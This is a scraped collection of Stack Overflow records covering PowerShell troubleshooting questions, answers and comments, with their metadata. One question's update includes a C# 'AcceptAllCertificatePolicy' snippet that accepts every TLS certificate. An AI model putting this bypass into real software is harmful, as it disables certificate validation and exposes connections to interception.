has comment: http://stackoverflow.com/comment/139884841
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139884531
has title: Failed to update one multi-valued attribute of one user through powershell
score: 1
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79326944
type: Question
tagged with: active-directory

http://stackoverflow.com/comment/139801005
has text: Glad to see my approach worked for you! One other idea is just to use Nessus, but this kind of PowerShell wrapper for wireshark was fun to build, and can be adapted for future work.
type: AnswerComment
comment on: http://stackoverflow.com/a/79279509
type: Comment
score: 1

http://stackoverflow.com/a/79401189
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/140031457
has comment: http://stackoverflow.com/comment/140030856
upvote count: 3
has comment: http://stackoverflow.com/comment/140030883
has comment: http://stackoverflow.com/comment/140027448
has comment: http://stackoverflow.com/comment/140031428
has body: Normally you shouldn't rely on exit codes from PowerShell script, but to answer your question, with your current implementation you can query $LASTEXITCODE automatic variable before disposing your PowerShell instance, however, for this to work you will need to pass-in the script path as .AddScript(...) argument, instead of reading the script content via File.ReadAllText(...). Preferably you should use an absolute path but relative might work You should also handle the Write-Host output in your code, that output you can find it in ps.Streams.Information, it will not be output from .Invoke(). Alternatively, you could subscribe to DataAdding event: ps.AddScript(@".\buildScript.ps1"); ps.Streams.Information.DataAdding += (s, e) => { InformationRecord info = (InformationRecord)e.ItemAdded; Console.WriteLine(info.MessageData); }; In summary you can do: int exitCode = 0; using (PowerShell ps = PowerShell.Create()) { ps.AddScript(@".\buildScript.ps1"); var psResults = ps.Invoke(); foreach (PSObject psObj in psResults) { var result = psObj.ToString(); } // if not using the event driven approach if (ps.Streams is { Information.Count: > 0 }) { foreach (InformationRecord information in ps.Streams.Information) { // handle information output here... } } if (ps.HadErrors) { ps.Commands.Clear(); exitCode = ps .AddScript("$LASTEXITCODE") .Invoke<int>() .FirstOrDefault(); } } // Do something with exitCode
has comment: http://stackoverflow.com/comment/140027682
has comment: http://stackoverflow.com/comment/140027479
downvote count: 0
answers question: http://stackoverflow.com/q/79401172

http://stackoverflow.com/a/79262827
answers question: http://stackoverflow.com/q/79262609
has comment: http://stackoverflow.com/comment/139777387
downvote count: 3
score: -3
type: Answer
has body: These things can be confusing with object hierarchies, but an integer is an object. Usually the output of commands like select-object are "pscustomobject". 1 -is [object] True 1 | % gettype IsPublic IsSerial Name BaseType -------- -------- ---- -------- True True Int32 System.ValueType [pscustomobject]@{num=1} | % gettype IsPublic IsSerial Name BaseType -------- -------- ---- -------- True False PSCustomObject System.Object [pscustomobject]@{num=1} -is [object] True [pscustomobject]@{num=1} -is [psobject] True
upvote count: 0

http://stackoverflow.com/q/79334513
answer count: 2
tagged with: shell
tagged with: azure-cloud-shell
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79334554
type: Question
has title: Connect to Postgres Flexible Server via "az postgress" from PS1 Script when Password has characters needing escapes
possible better answer: http://stackoverflow.com/a/79334554
linked to: http://stackoverflow.com/q/74440303
has answer: http://stackoverflow.com/a/79345943
downvote count: 0
accepted answer: http://stackoverflow.com/a/79345943
type: AnsweredQuestion
has body: I want to run a command on Azure Postgres Flexible Server via a PS1 (PSCore) script. The password can contain characters like < and ) that the PSCore parser chokes on. I'm attempting to use the az postgres flexible-server execute command. I'm thinking this is more of a PS1 script issue than a Postgres or az postgres issue. Example command: az postgres flexible-server execute -n the-instance-name -u theName -p the%WeIRDbutSecure#PasswordE<JMCiOw<>IQ) -d theDatabase -q "select * from MyTable" I get an error like: ParserError: Line | 1 | … he-instance-name -u theName -p the%WeIRDbutSecure#PasswordE<JMCiOw<>IQ) -d theDatabase … | ~ | Unexpected token ')' in expression or statement. I've tried assigning the%WeIRDbutSecure#PasswordE<JMCiOw<>IQ) to a local variable. That moved the problem to: > was unexpected at this time. I've tried breaking placing the entire string in double quotes as well as single quotes. Neither works -- same > was unexpected at this time. error. I've also tried embedding single backtick characters within the string, as in: the%WeIRDbutSecure#PasswordE`<JMCiOw`<`>IQ`) but continue to get the same > was unexpected at this time. error. My ultimate goal is to embed this command-line command in a PS1 script that I execute later. Has anyone ever been able to pass a -p password that contained characters that PS1 would like to interpret at directives? How did you escape these characters or the entire password?
tagged with: quoting
tagged with: powershell
tagged with: postgresql
upvote count: 1

http://stackoverflow.com/comment/139744789
score: 0
has text: That is correct @SantiagoSquarzon
comment on: http://stackoverflow.com/q/79248512
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139834935
has text: The fact that the enumerable null (which you can most succinctly create with `& {}`) even surfaces _as an object_ in PowerShell code (enabling things like `(& {}).psobject` and `(& {}) -is [psobject]` is arguably a bug (a leaky implementation of an abstraction). A green-lit enhancement that has yet to be implemented (as of PowerShell 7.5.0) will enable a conceptually appropriate test for whether a given value is the enumerable null, `$value -is [System.Management.Automation.Null]`
type: AnswerComment
comment on: http://stackoverflow.com/a/79296572
type: Comment
score: 3

http://stackoverflow.com/comment/140023038
comment on: http://stackoverflow.com/a/79395946
has text: can i get the ASPX files from it?
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/79277716
has comment: http://stackoverflow.com/comment/139826129
has body: I know that if the web service was installed with certificate, thus simple test connection in powershell like Invoke-WebRequest to that https site can give me whether it's possible to connect there or not. However I am wondering whether it's possible to test connection to that web without the certificate, like can it happen that connection will fail with certificate but will succeed without, because of certificate validation reasons? Since I already can connect to that web with Invoke-WebRequest -Uri "https://..." -UseBasicParsing -TimeoutSec 10, I am wondering whether it's possible to somehow to test the connection without certificate. UPDATE: What helped was adding this custom certificate policy after trying to connect securely add-type @" public class AcceptAllCertificatePolicy : System.Net.ICertificatePolicy { public bool CheckValidationResult(System.Net.ServicePoint srvPoint, System.Security.Cryptography.X509Certificates.X509Certificate certificate, System.Net.WebRequest request, int certificateProblem) { return true; } } " this way even if site connection was insecure it could still get a response
has comment: http://stackoverflow.com/comment/139797843
type: UnansweredQuestion
score: 0
has title: Is there a way to test connection to web in powershell, with and without certificate?
has comment: http://stackoverflow.com/comment/139799958
tagged with: certificate
type: Question
has answer: http://stackoverflow.com/a/79279237
has comment: http://stackoverflow.com/comment/139797686
tagged with: connection
tagged with: powershell
answer count: 1

http://stackoverflow.com/comment/140017203
has text: For now, its working when I remove the -Force parameter from the Import-Module. I added this for initial testing when the module is changed a lot and i test this using the same powershell instance. I'm not sure i understand the need to move the log4net initialization out of the function. I call this function only once after importing the module, the ps scripts do their thing and exit. Meanwhile, i will look at that RequiredAssemblies method (i'm unfamiliar with this command).
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79393526

http://stackoverflow.com/a/79363023
answers question: http://stackoverflow.com/q/79363011
downvote count: 0
has body: ConvertFrom-Json is not broken, you need to use -NoEnumerate in PowerShell 7: '"a", "b"' | ConvertFrom-Json -NoEnumerate | ConvertTo-Json # [ # [ # "a", # "b" # ] # ] For the other array examples, the issue is the missing , operator in each nested array. You're currently using it in the most outer one. @(..) operator by default will try flatten whatever is inside the expression and the comma is required to prevent that enumeration to happen. (,@(,@('a', 'b')))[0][0][1] # b
type: Answer
has comment: http://stackoverflow.com/comment/139955353
score: 2
has comment: http://stackoverflow.com/comment/139955721
upvote count: 2

http://stackoverflow.com/comment/139985145
type: QuestionComment
type: Comment
score: 0
has text: Use Beyond compare to verify the working and non working files to see differences. Beyond Compare will show both files in the same window so you can easily see the difference.
comment on: http://stackoverflow.com/q/79378728

power-automate
type: Tag
tag name: power-automate
tags question: http://stackoverflow.com/q/79334088

http://stackoverflow.com/comment/140032854
score: 0
type: AnswerComment
has text: There was an execution policy error and I had to add code to change it before calling my script in the code. The execution policy is set to unrestricted on all scopes on my machine, so I changed it in code.
type: Comment
comment on: http://stackoverflow.com/a/79403390

http://stackoverflow.com/comment/139747234
comment on: http://stackoverflow.com/q/79249450
has text: @Pac0 really sorry about that I figured mentioning in the post saying I wanted to edit Description that was enough I didn't mean to click no frame rate when I screenshotted it. I fixed it with a new image.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79279035
has comment: http://stackoverflow.com/comment/139803738
linked to: http://stackoverflow.com/q/1025187
tagged with: powershell
tagged with: explorer
score: 0
has comment: http://stackoverflow.com/comment/139800430
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139799763
has title: When does "Date modified" change for files in Windows Explorer as I want to use it in Powershell?
tagged with: windows
type: Question
duplicate of: http://stackoverflow.com/q/1025187
has comment: http://stackoverflow.com/comment/139804574
answer count: 0
has body: I'd like to understand the behaviour of the "Date modified" in Windows Explorer. There is a process which syncs folders with csv files beetween a data provider and a network share. I'm wondering if the "Date modified" shows the actual delivery timestamp if no manual update happens. If I also show the column date created it sometimes is a lot of days later. Example "Date modified" = 03.12.2024 hh:mm and "Date created" = 13.12.2024 Which suggested to me that maybe "Date modified" is set when the file is either published (or updated) by the data vendor or when it's put on the share. While "Date created" gets updated every time as the sync just does a bulk delivery also for some days back. "Date modified" = "Date" = "Content created" = "Date last saved" "Date created" = "Date accessed" Thanks!

http://stackoverflow.com/q/79324721
has body: I realize this should be a simple task, but I am not seeing the results that I expect to see. I am importing a CSV file and trying to filter out the dates that have already passed and only keep the dates that are equal to today or in the future. As a simple example, I have a csv file with the following: If I run the following code, I am not seeing the expected results; dates that are equal today or in the future: $Today = Get-date $data = import-csv C:\temp\ReleaseRequest2.csv $data | where {$_.expires -ge $Today} | select expires When I run the above, I receive the following results: The goal is to only return dates that are equal to today or in the future. Is there formatting of the dates that I need to do before trying to filter them? I know it is a simple solution, but I am banging my head against a wall trying to figure it out. Thank in advance.
has answer: http://stackoverflow.com/a/79324740
answer count: 2
type: Question
accepted answer: http://stackoverflow.com/a/79324740
upvote count: 2
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/79324931
has title: Filtering dates using PowerShell
possible better answer: http://stackoverflow.com/a/79324931
favorite count: 0

http://stackoverflow.com/comment/139910599
score: 1
has text: Thanks everyone for your answers. I tested some solutions and measured it with put my module between commands: $ExecutionTime = [System.Diagnostics.Stopwatch]::StartNew() and $ExecutionTime.Stop(); $ExecutionTime.Elapsed. Best for my scenario was list of all functions and that list into psd1 file: FunctionsToExport = @('Function1' 'Function2' 'Function3'....). After I simply add them all, loading of my module increased. I will also remove in some scenarios '-Force' switch, when I specially know this module was already loaded before.
type: QuestionComment
comment on: http://stackoverflow.com/q/79338576
type: Comment

http://stackoverflow.com/comment/139891726
score: 0
has text: A PowerShell _module_ doesn't usually publish shebang line-based shell scripts. The latter would have to be placed in a dir. listed in `$env:PATH`, which isn't what modules do. If your script is a(n executable) shell script discoverable via `$env:PATH`, the comment-based help _should_ work; if it isn't, targeting it by its _path_ should work. Please [edit] your question to clarify your scenario.
type: QuestionComment
comment on: http://stackoverflow.com/q/79329816
type: Comment

http://stackoverflow.com/a/79374511
answers question: http://stackoverflow.com/q/79374134
downvote count: 0
has body: Not a bug, it's the expected behavior of a .NET class method, when there is an error it throws, thus ending the enumeration. A very easy way to demo this without needing to compile C# code: # NOTE: If you were to use the workaround shown for PowerShell 5.1 # using the `while` loop you could enumerate this completely. $enumerable = [System.Linq.Enumerable]::Select( [System.Linq.Enumerable]::Range(0, 10), [System.Func[int, int]] { if ($args[0] -ne 5) { return $args[0] } throw 'woops' }) foreach ($i in $enumerable) { $i } The concept of a non-terminating error only exists for PowerShell commands, however there are workarounds for your issue. In PowerShell 7+, the easiest way to handle it, is to use the EnumerationOptions class: # NOTE: # - Sets `IgnoreInaccessible` to `true` by default # - By default skips Hidden and System. To not skip those use: # `AttributesToSkip = [System.IO.FileAttributes]::None` [System.IO.Directory]::EnumerateDirectories( 'E:\test2', '*', [System.IO.EnumerationOptions]@{ RecurseSubdirectories = $true }) In PowerShell 5.1, the class used above doesn't exist in .NET Framework, thus more work is needed. What you can do here is to manually enumerate your enumerable: try { $enumerable = [System.IO.Directory]::EnumerateDirectories( 'E:\test2', '*', [System.IO.SearchOption]::AllDirectories) $enumerator = $enumerable.GetEnumerator() while ($true) { try { # we're done if this is true if (-not $enumerator.MoveNext()) { break } $enumerator.Current } catch { # PowerShell wraps method exceptions in `MethodInvocationException`, # it's safe to use `.InnerException` in this case Write-Error -Exception $_.Exception.InnerException } } } finally { if ($enumerator) { $enumerator.Dispose() } }
score: 2
upvote count: 2
type: Answer

http://stackoverflow.com/q/79396258
type: UnansweredQuestion
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/55665530
has body: I'm trying to rename the following files in a batch: image.part-Frag1 image.part-Frag10 image.part-Frag11 > Get-ChildItem *frag* | Rename-Item -NewName "$($_.Name).png" ... but am getting the following error: Rename-Item : Cannot create a file when that file already exists. At line:1 char:24 + Get-ChildItem *frag* | Rename-Item -NewName "$($_.Name).png" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : WriteError: (C:\Users\user\Des...html.part-Frag1:String) [Rename-Item], IOException + FullyQualifiedErrorId : RenameItemIOError,Microsoft.PowerShell.Commands.RenameItemCommand Rename-Item : Cannot create a file when that file already exists. At line:1 char:24 + Get-ChildItem *frag* | Rename-Item -NewName "$($_.Name).png" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : WriteError: (C:\Users\user\Des...tml.part-Frag10:String) [Rename-Item], IOException + FullyQualifiedErrorId : RenameItemIOError,Microsoft.PowerShell.Commands.RenameItemCommand Rename-Item : Cannot create a file when that file already exists. At line:1 char:24 + Get-ChildItem *frag* | Rename-Item -NewName "$($_.Name).png" ...
has title: Rename-Item : Cannot create a file when that file already exists - it doesn't
favorite count: 0
has comment: http://stackoverflow.com/comment/140020843
answer count: 3
type: Question
has answer: http://stackoverflow.com/a/79396362
downvote count: 0
tagged with: filenames
has answer: http://stackoverflow.com/a/79396280
linked to: http://stackoverflow.com/q/60302579
tagged with: powershell
linked to: http://stackoverflow.com/q/52805820
has answer: http://stackoverflow.com/a/79397277

http://stackoverflow.com/comment/139775497
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 0
has text: _"...a ctor must guarantee an object is instantiated or an exception is thrown."_ That much is clear. But the question of preemption is the issue here.
type: QuestionComment

http://stackoverflow.com/comment/139956984
comment on: http://stackoverflow.com/q/79364096
type: QuestionComment
has text: Can you tell us what you have tried so far, any background research you have completed on this problem, can you include a Minimal Reproducible Example of the problem? There is hardly anything to go on here.
type: Comment
score: 0

http://stackoverflow.com/q/79325726
has body: I need some advice to convert the XEL file to XML. I am executing a PowerShell script in Azure Automation runbook in Azure portal to store the XEL file from BLOB storage to my local machine, converting it and then uploading the final XML it to another blob storage. Note that the code below works perfectly well when i execute this powershell on my local machine. But the issue occurs when i upload the same script in Azure automation run book and try to test it When i do that, its not able to find the local path where it can store the XEL files. There are no errors as such but the code below doesn't seem to run. I have tried several ways to accomplish this right from using in memory stream but it did not help. Below is the code snippet. Can anyone help ? try { $eventReader = [Microsoft.SqlServer.XEvent.Linq.QueryableXEventData]::new($LocalFilePath) $xmlWriter = [System.Xml.XmlWriter]::Create($OutputFilePath) $xmlWriter.WriteStartDocument() $xmlWriter.WriteStartElement("ExtendedEvents") foreach ($event in $eventReader) { $xmlWriter.WriteStartElement("Event") foreach ($field in $event.Fields) { $xmlWriter.WriteElementString($field.Name, $field.Value.ToString()) } $xmlWriter.WriteEndElement() # Event } $xmlWriter.WriteEndElement() # ExtendedEvents $xmlWriter.WriteEndDocument() $xmlWriter.Close() You can see here the $localpath has been defined earlier as a temp folder in my LocalMachine and same with the $OutputFilePath but it seems like these local paths are not accessible by PowerShell running in the cloud (Azure automation runbook). Can anyone please guide me as to what needs to be done here so that the file can be downloaded and converted.
has comment: http://stackoverflow.com/comment/139884347
score: 0
type: Question
has comment: http://stackoverflow.com/comment/139884332
has comment: http://stackoverflow.com/comment/139884911
has comment: http://stackoverflow.com/comment/139885308
has comment: http://stackoverflow.com/comment/139884042
has comment: http://stackoverflow.com/comment/139884300
has answer: http://stackoverflow.com/a/79326545
answer count: 1
has comment: http://stackoverflow.com/comment/139883880
tagged with: azure-automation
has comment: http://stackoverflow.com/comment/139884429
tagged with: extended-events
tagged with: powershell
has title: Need advice to convert XEL file (Extended events file) into XML via Azure automation Runbook using Powershell
type: UnansweredQuestion
tagged with: azure
has comment: http://stackoverflow.com/comment/139885113

http://stackoverflow.com/q/79259441
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79259577
has title: Powershell Move-Item fails to move contents of current directory to new subdirectory
accepted answer: http://stackoverflow.com/a/79259577
tagged with: powershell
score: 1
has comment: http://stackoverflow.com/comment/139764104
upvote count: 1
favorite count: 0
has body: I am an absolute novice and have tried to resolve this issue following a variety of tuts and how-tos as well as ChatGPT assistance to no avail. My objective is to reorganize a locally downloaded library of audiobooks by creating a new directory using the author's name, then copying the directory of audiobooks by that author to that new directory as a new subdirectory. Example Current directory path = E:\scripttest\Adrian Tchaikovsky - Walking to Aldebaran, Narrated by Adrian Tchaikovsky [1630154431] New Directory path = E:\scripttest\Adrian Tchaikovsky\Walking to Aldebaran, Narrated by Adrian Tchaikovsky [1630154431] Thus far, I have been able to isolate the author's name, create the new directory and successfully create a new subdirectory that is also correctly named. The script checks for the presence of the author's directory and creates a new author's directory if necessary by grabbing text prior to " - " It then creates a new subdirectory that includes the book title by grabbing everything after " - " It should move the contents from the original directory to the new book title subdirectory Once I get the move working, I intend to add confirmation all files were successfully moved, then delete the source directory Unfortunately, none of the contents from the source directory. Powershell does not return any errors and the script appears to complete successfully. The source directory includes these filetypes - *.ico, *.m4b, and *.jpg. I was hoping to copy the files in bulk, rather than specifying each filetype to be copied in an attempt to keep it simple. The script so far: param([switch]$Elevated) function Test-Admin { $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent()) $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) } if ((Test-Admin) -eq $false) { if ($elevated) { # tried to elevate, did not work, aborting } else { Start-Process powershell.exe -Verb RunAs -ArgumentLis…
tagged with: windows
type: Question
linked to: http://stackoverflow.com/q/57755417
downvote count: 0
answer count: 1

http://stackoverflow.com/q/79291349
tagged with: powershell
answer count: 3
score: 2
has comment: http://stackoverflow.com/comment/139822048
upvote count: 2
possible better answer: http://stackoverflow.com/a/79292194
type: AnsweredQuestion
has body: I have a very large (>100k lines) file that i want to split on :. I then want to discard the first item, and leave all the rest. for example, foo:bar:baz becomes bar:baz. If i do cut -d ':' -f2- myfile.txt > newfile.txt it finishes in a matter of milliseconds. I have tried a few methods in Powershell, but I have yet to see one finish. After a couple of minutes I abort, because this script cannot afford to wait that long. Surely there is a better/faster way to do this, but I can't seem to find it. The most promising method I found so far looks like this: $reader = [System.IO.File]::OpenText("myfile.txt") try { for() { $line = $reader.ReadLine() if ($line -eq $null) { break } $split = $line.Split(":") $join = $split[1..($split.Length-1)] -join ":" Add-Content -Path "newfile.txt" -Value "$join" } } finally { $reader.Close() } Please help/advise.
has comment: http://stackoverflow.com/comment/139822072
favorite count: 0
tagged with: performance
has answer: http://stackoverflow.com/a/79293316
has comment: http://stackoverflow.com/comment/139822024
accepted answer: http://stackoverflow.com/a/79291392
type: Question
has title: Powershell version of cut -d is very slow on large files, am I missing the fast way to do it?
has answer: http://stackoverflow.com/a/79292194
has answer: http://stackoverflow.com/a/79291392
downvote count: 0

http://stackoverflow.com/q/79325779
type: Question
has title: Want to export msExchExtensionCustomAttribute2 to one CSV file (one value in one line)
has comment: http://stackoverflow.com/comment/139884819
has comment: http://stackoverflow.com/comment/139884328
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139884878
has body: I am trying to export one attribute of one domain user (test) in a simple csv or txt file. Get-ADUser -identity test -properties msExchExtensionCustomAttribute2 | select -ExpandProperty msExchExtensionCustomAttribute2 | export-csv -path c:\temp\test.csv -notypeinformation test.csv is not showing the correct output. Kindly help me on this.
has comment: http://stackoverflow.com/comment/139884250
downvote count: 1
has answer: http://stackoverflow.com/a/79326556
has comment: http://stackoverflow.com/comment/139884550
has comment: http://stackoverflow.com/comment/139884440
score: 0
has comment: http://stackoverflow.com/comment/139884288
has comment: http://stackoverflow.com/comment/139884672
type: UnansweredQuestion
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/139815989
has text: @Rukmini Thanks, I didn't actually notice the MSAL.PS error as I'm actively making changes to resolve the certificate null error. I’ve made the suggested changes and the MSAL.PS issue has been fixed. However, the original issue regarding the null certificate still persists. I've updated the error output.
comment on: http://stackoverflow.com/q/79287889
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140024542
type: AnswerComment
has text: No problem. Depending on your use, evaluate casting to a typed list `[System.Collections.Generic.List[System.IO.FileInfo]]`
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79399735

http://stackoverflow.com/q/79359686
has body: I am currently working with Exchange Online and Graph to update my company's distribution groups. The issue I'm encountering is when dealing with external users in my environment. When I am initially pulling the list of external users they all contain the substring "#EXT#@company.com". No problem, easily fixed by including ($_.UserPrincipalName.Replace("#EXT#@company.com", "")) in my Where-Object statement. However after doing so, I am now unable to compare the objects in this array to the array of current group members. I'm not getting any kind of error, but in my comparison function, I am no longer finding any common items between the two arrays. For reference I am in VSCode, when I hover over the list of group members, I see an array of System.Management.Automation.PSObject. However the list where I have replaced the substring is now an array of System.String objects. I have tried using GetType() on both of these arrays, as well as the items in the arrays. Both arrays claim to be System.Array.Object, and the objects within both arrays claim to be System.Object.String. Here is a sample of my code to better understand what is going on here: Code to get new list of users: $ExternalUsers = ($allActiveUsers | Where-Object {($_.Mail -notmatch ".*company\.onmicrosoft\.com$|.*@company\.com$" -and ($_.UserPrincipalName.Replace("#EXT#@company.com", "")) -notmatch ".*company\.onmicrosoft\.com$|.*@company\.com$")} | Select-Object -ExpandProperty UserPrincipalName).Replace("#EXT#@company.com", "") Code to get list of current distribution group members: $GrpExternalUsersMembers = Get-DistributionGroupMember -Identity "GrpExternalUsers" | Select-Object -ExpandProperty PrimarySmtpAddress And here is the code I am using to compare the two, and remove any users necessary: $usersToRemove = $distributionGroupMembers | Where-Object{$currentUsersList -notcontains $_} if ($usersToRemove) { Write-Output "Removing $($usersToRemove.Count) users from distribution group '$distributionGroupN…
accepted answer: http://stackoverflow.com/a/79362139
has comment: http://stackoverflow.com/comment/139952732
tagged with: string
has comment: http://stackoverflow.com/comment/139950771
tagged with: arrays
type: Question
answer count: 1
tagged with: object
tagged with: powershell
tagged with: psobject
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79362139
has comment: http://stackoverflow.com/comment/139950707
has title: Powershell array objects type being changed to string after using .Replace(), unable to compare to another array, which also claims to contain strings
score: 0
has comment: http://stackoverflow.com/comment/139952890

http://stackoverflow.com/comment/140055172
score: 1
has text: Use: `[\`""]?\bis\b[\`""]?`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79415674

http://stackoverflow.com/a/79409735
answers question: http://stackoverflow.com/q/79409696
score: 0
has body: Unsure why you get this error, possibly by looking at the error, the property value piped into Get-DistributionGroupMember results into an ambiguous result. However, an easier and more efficient way to approach the problem is to use the -Filter. According to the Filterable properties for the Filter parameter on Exchange cmdlets documentation, Members is a filterable attribute as long as you supply the user's DinstinguishedName or CanonicalName. If you're not sure how to get the user's DistinguishedName, you can use Get-User or Get-Recipient. $userDN = 'CN=test1,...,DC=myDomain,DC=com' $dlGroups = Get-DistributionGroup -Filter "Members -eq '$userDN'"
type: Answer

http://stackoverflow.com/a/79276143
answers question: http://stackoverflow.com/q/79275937
accepted answer of: http://stackoverflow.com/q/79275937
type: AcceptedAnswer
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139798130
type: Answer
score: 2
has body: Yes, this possible with Azure Powershell Microsoft's documentation has an example for this $webapp=Get-AzWebApp -ResourceGroupName <group-name> -Name <app-name> # Set default / path to public subdirectory $webapp.SiteConfig.VirtualApplications[0].PhysicalPath= "site\wwwroot\public" # Add a virtual application $virtualApp = New-Object Microsoft.Azure.Management.WebSites.Models.VirtualApplication $virtualApp.VirtualPath = "/app2" $virtualApp.PhysicalPath = "site\wwwroot\app2" $virtualApp.PreloadEnabled = $false $webapp.SiteConfig.VirtualApplications.Add($virtualApp) # Save settings Set-AzWebApp $webapp

http://stackoverflow.com/comment/139897802
has text: I am stumbling into this issue https://stackoverflow.com/a/57467894/2076775, which I think is the root for all evil, and then I cannot find 04b07795-8ddb-461a-bbee-02f9e1bf7b46 in my tenat despite it is Microsoft 1st pary app, so I cannot give it extra access.
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188
type: Comment
score: 0

http://stackoverflow.com/comment/140067663
score: 0
comment on: http://stackoverflow.com/q/79416406
type: QuestionComment
type: Comment
has text: @mklement0 I added the sample of header, body and footer JSON in the question above. I apologize if its a little messy. I tried to Scrub the variables for protection. Let me know if this helps and thank you in advance. Thank you iron as well

http://stackoverflow.com/comment/140021601
has text: I don't use PowerShell, but how about this [$LastExitCode](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.5#lastexitcode)?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79398085
score: 1

http://stackoverflow.com/comment/139951253
has text: Thank you Glen, I will give that a try and see what happens.
comment on: http://stackoverflow.com/a/79360069
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/139901517
type: QuestionComment
type: Comment
score: 1
has text: The problem is your path - it should be `HKLM:\...`, not `HKLM\...` - otherwise PowerShell won't recognize that you're targeting the `HKLM:` virtual drive and instead assumes you're targeting a relative file system path
comment on: http://stackoverflow.com/q/79334624

constructor
tags question: http://stackoverflow.com/q/79276698
type: Tag
tag name: constructor

http://stackoverflow.com/a/79345788
has comment: http://stackoverflow.com/comment/139921811
score: 1
answers question: http://stackoverflow.com/q/79345689
accepted answer of: http://stackoverflow.com/q/79345689
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139922701
type: Answer
has body: What exactly is .\$VirtualEnvName\Scripts\Activate and what are you expecting it to do? From the context it sounds like it's a Python script perhaps, without a file extension? If so then you surely need to call Python itself and pass it that information, eg : python .\$VirtualEnvName\Scripts\Activate especially since without a file extension there's no way for the system to know what that file is. Alternatively, while I've not tried calling Python scripts from PowerShell, when calling external PowerShell scripts you'd need to do something like : &amp; C:\path\myscript.ps1 or &amp; .\myscript.ps1 not just give it the file path and expect PowerShell to work out what to do with it.
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/139739674
type: QuestionComment
score: 2
type: Comment
has text: I recommend _against_ using identical file-sizes as a way to check for duplicates, because many files will have the same size by sheer coincidence, but also because plenty of software that writes/edits images on-disk might write empty/zero-valued bytes after the end of the file if they're careless with how they're using a buffer in C, for example), so you _might_ end-up with different photos all being sized some multiple of 4096 bytes. Instead, [I recommend you read their hashes instead](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash).
comment on: http://stackoverflow.com/q/79245493

http://stackoverflow.com/q/79276781
has answer: http://stackoverflow.com/a/79279509
score: 1
has body: How do I verify that a SMB server requires signing, preferably with Powershell? I'd like to try to connect to an SMB server from client unsigned without negotiation and see that it fails, but succeeds when signing is enabled. I can create a connection with New-SmbMapping -RemotePath '\\THE.IP.ADD.RSS' and get current connections with Get-SMBConnection | fl * but that seems to always be signed and successful; I am looking for a command that attempts unsigned and fails if signing is required.
has comment: http://stackoverflow.com/comment/139799279
has comment: http://stackoverflow.com/comment/139796420
upvote count: 1
accepted answer: http://stackoverflow.com/a/79279509
has comment: http://stackoverflow.com/comment/139799468
favorite count: 0
tagged with: smb
has comment: http://stackoverflow.com/comment/139811213
type: Question
has title: How do I verify that a SMB server requires signing, preferably with Powershell?
downvote count: 0
has comment: http://stackoverflow.com/comment/139798496
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139799345
type: AnsweredQuestion

http://stackoverflow.com/comment/139822048
score: 0
has text: Yes, that is what I'm trying to do. I edited the question to make that a bit clearer. I am very well aware that it is inefficient, I just can't for the life of me figure out how to properly do it.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79291349

http://stackoverflow.com/comment/140047384
has text: Then you need to review the credentials under which the scheduled task runs and compare its permissions to yours. Then of course. if this is to be run only once each new schoolyear, why the need for a scheduled task at all? My comment only tries to make it clear that you cannot sort objects on a property you are not including in the objects, so `Sort-Object Created` should not work because without specifying that you need that extended property on the returned OU objects, you can also not sort the collection on it.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79411096

http://stackoverflow.com/q/79370205
has body: I've created a Windows autounattend.xml file that automatically installs software using winget / choco after the system installation and first login. The installation process is logged in c:\windows\setup\scripts\FirstLogon.log. I want to automatically open a new PowerShell window during the software installation process that continuously monitors the contents of c:\windows\setup\scripts\FirstLogon.log. How can I open the contents of c:\windows\setup\scripts\FirstLogon.log in a new window and continue with subsequent installation commands simultaneously? Normally, I use Get-Content c:\windows\setup\scripts\FirstLogin.log -Wait to retrieve the file contents, but I don't know how to continue with the rest of the installation after opening the file.
tagged with: winget
type: Question
answer count: 0
has title: How to monitor the log file during the software installation process in Windows unattend installation
tagged with: powershell
score: 0
type: UnansweredQuestion
tagged with: choco

http://stackoverflow.com/comment/139756042
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79254020
has text: What about the job definition? https://docs.rundeck.com/docs/learning/tutorial/terminology.html#job-definition Can you share it to take a look? Also, ensure you're not facing a double-hop scenario: https://stackoverflow.com/a/63618033/10426011. Additionally take a look at these answers: https://stackoverflow.com/questions/58640044/sharepoint-script-not-playing-with-rundeck. Regards!

http://stackoverflow.com/q/79334607
type: Question
tagged with: sort-object
has comment: http://stackoverflow.com/comment/139905914
has comment: http://stackoverflow.com/comment/139905899
